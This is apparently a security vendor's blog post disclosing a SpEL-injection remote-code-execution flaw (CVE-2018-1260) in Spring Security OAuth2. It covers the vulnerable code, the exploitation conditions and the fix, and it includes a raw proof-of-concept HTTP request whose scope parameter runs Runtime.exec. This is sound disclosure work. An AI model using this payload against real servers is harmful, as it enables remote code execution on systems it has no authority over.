Urgences 24 sur 7 – (888) 287-5858     Support     Contactez-nous    Blogue

On Tuesday, we released the details of RCE vulnerability affecting Spring Data (CVE-2018-1273). We are now repeating the same exercise for a similar RCE vulnerability in Spring Security OAuth2 (CVE-2018-1260). We are going to present the attack vector, its discovery method and the conditions required for exploitation. This vulnerability also has similarities with another vulnerability disclosed in 2016. The resemblance will be discussed in the section where we review the fix.

 

Analyzing a potential vulnerability

It all started by the report of the bug pattern SPEL_INJECTION by Find Security Bugs. It reported the use of SpelExpressionParser.parseExpression() with a dynamic parameter, the same API used in the previous vulnerability we had found. The expression parser is used to parse expressions placed between curly brackets « ${…} ».

public SpelView(String template) {
this.template = template;
this.prefix = new RandomValueStringGenerator().generate() + "{";
this.context.addPropertyAccessor(new MapAccessor());
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = parser.parseExpression(name); //Expression parser
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}

 
The controller class WhitelabelApprovalEndpoint uses this SpelView class to build the approval page for OAuth2 authorization flow. The SpelView class evaluates the string named « template » – see code below – as a Spring Expression.

@RequestMapping("/oauth/confirm_access")
public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
String template = createTemplate(model, request);
if (request.getAttribute("_csrf") != null) {
model.put("_csrf", request.getAttribute("_csrf"));
}
return new ModelAndView(new SpelView(template), model); //template variable is a SpEL
}

 
Following the methods createTemplate() and createScopes(), we can see that the attribute « scopes » is appended to the HTML template which will be evaluated as an expression. The only model parameter bound to the template is a CSRF token. However, the CSRF token will not be under the control of a remote user.

protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
String template = TEMPLATE;
if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
}

 
[…]

private CharSequence createScopes(Map<String, Object> model, HttpServletRequest request) {
StringBuilder builder = new StringBuilder("<ul>");
@SuppressWarnings("unchecked")
Map<String, String> scopes = (Map<String, String>) (model.containsKey("scopes") ? model.get("scopes") : request
.getAttribute("scopes")); //Scope attribute loaded here
for (String scope : scopes.keySet()) {
String approved = "true".equals(scopes.get(scope)) ? " checked" : "";
String denied = !"true".equals(scopes.get(scope)) ? " checked" : "";
String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved)
.replace("%denied%", denied);
builder.append(value);
}
builder.append("</ul>");
return builder.toString();
}

 
At this point, we are unsure if the scopes attribute can be controlled by the remote user. While attribute (req.getAttribute(..)) represents session values stored server-side, scope is an optional parameter part of OAuth2 flow. The parameter might be accessible to the user, saved to the server-side attributes and finally loaded into the previous template.

After some research in the documentation and some manual tests, we found that « scope » is a GET parameter part of the implicit OAuth2 flow. Therefore, the implicit mode would be required for our vulnerable application.

 

Proof-of-Concept and Limitations

When testing our application, we realized that the scopes were validated against a scopes whitelist defined by the user/client. If this whitelist is configured, we can’t be creative with the parameter scope. If the scopes are simply not defined, no validation is applied to the name of the scopes. This limitation will likely make most Spring OAuth2 applications safe.

This first request made used the scope « ${1338-1} », see picture below. Based on the response, we now have a confirmation that the scope parameter’s value can reach the SpelView expression evaluation. We can see in the resulting HTML multiples instances of the string « scope.1337 ».

Pushing the probe value ${1338-1}

 

A second test was made using the expression « ${T(java.lang.Runtime).getRuntime().exec(« calc.exe »)} » to verify that the expressions are not limited to simple arithmetic operations.

Simple proof-of-concept request spawning a calc.exe subprocess

 
For easier reproduction, here is the raw HTTP request from the previous screenshot. Some characters – mainly curly brackets – were not supported by the web container and needed to be URL encoded in order to reach the application. { -> %7b

POST /oauth/authorize?response_type=code&client_id=client&username=user&password=user&grant_type=password&scope=%24%7bT(java.lang.Runtime).getRuntime().exec(%22calc.exe%22)%7d&redirect_uri=http://csrf.me HTTP/1.1
Host: localhost:8080
Authorization: Bearer 1f5e6d97-7448-4d8d-bb6f-4315706a4e38
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 0

 

Reviewing The Fix

The solution chosen by the Pivotal team was to replace SpelView with a simpler view, with basic concatenation. This eliminates all possible paths to a SpEL evaluation. The first patch proposed introduced a potential XSS vulnerability, but luckily this was spotted before any release was made. The scope values are now properly escaped and free from any injection.

More importantly, this solution improved the security of another endpoint: WhitelabelErrorEndpoint. The endpoint is also no longer uses a Spel View. It was found vulnerable to an identical attack vector in 2016. Spring-OAuth2 also used the SpelView class to build the error page. The interesting twist is that the template parameter was static, but the parameters bound to the template were evaluated recursively. This means that any value in the model could lead to a Remote Code Execution.

Example with simple values

 

Example with an expression included in the model

 
This recursive evaluation was fixed by adding a random prefix to the expression boundary. The security of this template now relies on the randomness of 6 characters (62 possibilities to the power of 6). Some analysts were skeptical regarding this fix and raised the risk of a race condition if enough attempts are made. However, this is no longer a possibility since SpelView was also removed from this endpoint.

The SpelView class is also present in Spring Boot. This implementation has a custom resolver to avoid recursion. This means that while the Spring-OAuth2 project no longer uses it, some other components, or proprietary applications, might have reused (copy-pasted) this utility class to save some time. For this reason, a new detector looking for SpelView was introduced in Find Security Bugs. The detector does not look for a specific package name because we assume that the application will likely have a copy of the SpelView class rather than a reference to Spring-OAuth2 or Spring Boot classes.

 

Limitation & exploitability

We encourage you to keep all your web applications’ dependencies up-to-date. If for any reason you must delay the last month’s updates, here are the specific conditions for exploitation:

  • Spring OAuth2 in your dependency tree
  • The users must have implicit flow enabled; it can be enabled along with other grant types
  • The scope list needs to be empty (not explicitly set to one or more elements)

The good news is that not all OAuth2 applications will be vulnerable. In order to specify arbitrary scopes, the user profile of the attacker needs to have an empty list of scopes.

 

Conclusion

This was the second and last article of the series on SpEL injection vulnerabilities. We hope it brought some light on this less frequent vulnerability class.

As mentioned previously in Part 1, finding this vulnerability class in your own application is unlikely. It is more likely to come up in components similar to Spring-Data or Spring-OAuth. If you are a Java developer or tasked with reviewing Java code for security, you could scan your application using Find Security Bugs, the tool we used to find this vulnerability. This type of vulnerability hunting can be daunting because many code patterns cause indirection, making variable tracking harder.

Kudos to Alvaros Muñozpyn3rd and Gal Goldshtein who reproduced the vulnerability and documented the flaw a few days after the official announcement made by Pivotal.

 

Reference

Détection et réponse gérées et étendues GoSecure TitanMC (MXDR)

Détection et réponse gérées et étendues GoSecure TitanMC (MXDR) Fondation

Gestion des vulnérabilités en tant que service GoSecure TitanMC (VMaaS)

Surveillance des événements liés aux informations de sécurité gérée GoSecure TitanMC (SIEM)

Défense du périmètre gérée GoSecure TitanMC (pare-feu)

Détection et réponse des boîtes de messagerie GoSecure TitanMC (IDR)

Passerelle de messagerie sécurisée GoSecure TitanMC (SEG)

Modélisateur de menaces GoSecure TitanMC

Identity GoSecure TitanMC

Plateforme GoSecure TitanMC

Services de sécurité professionnels de GoSecure

Services de réponse aux incidents

Évaluation de la maturité de la sécurité

Services de confidentialité

Services PCI DSS

Services de piratage éthique

Opérations de sécurité

MicrosoftLogo

GoSecure MXDR pour Microsoft

Visibilité et réponse complètes au sein de votre environnement de sécurité Microsoft

CAS D'UTILISATION

Cyberrisques

Mesures de sécurité basées sur les risques

Sociétés de financement par capitaux propres

Prendre des décisions éclairées

Sécurité des données sensibles

Protéger les informations sensibles

Conformité en matière de cybersécurité

Respecter les obligations réglementaires

Cyberassurance

Une stratégie précieuse de gestion des risques

Rançongiciels

Combattre les rançongiciels grâce à une sécurité innovante

Attaques de type « zero-day »

Arrêter les exploits de type « zero-day » grâce à une protection avancée

Consolider, évoluer et prospérer

Prenez de l'avance et gagnez la course avec la Plateforme GoSecure TitanMC.

24/7 MXDR

Détection et réponse sur les terminaux GoSecure TitanMC (EDR)

Antivirus de nouvelle génération GoSecure TitanMC (NGAV)

Détection et réponse sur le réseau GoSecure TitanMC (NDR)

Détection et réponse des boîtes de messagerie GoSecure TitanMC (IDR)

Intelligence GoSecure TitanMC

À PROPOS DE GOSECURE

GoSecure est un leader et un innovateur reconnu en matière de cybersécurité, pionnier de l'intégration de la détection des menaces au niveau des terminaux, du réseau et des courriels en un seul service de détection et réponse gérées et étendues (MXDR). Depuis plus de 20 ans, GoSecure aide ses clients à mieux comprendre leurs failles en matière de sécurité et à améliorer leurs risques organisationnels ainsi que leur maturité en matière de sécurité grâce aux solutions MXDR et aux services professionnels fournis par l'une des équipes les plus fiables et les plus compétentes de l'industrie.

CALENDRIER D’ÉVÉNEMENTS

May 21 ITSec

DERNIER COMMUNIQUÉ DE PRESSE

BLOGUE GOSECURE

AVIS DE SÉCURITÉ

Urgences 24 sur 7 – (888) 287-5858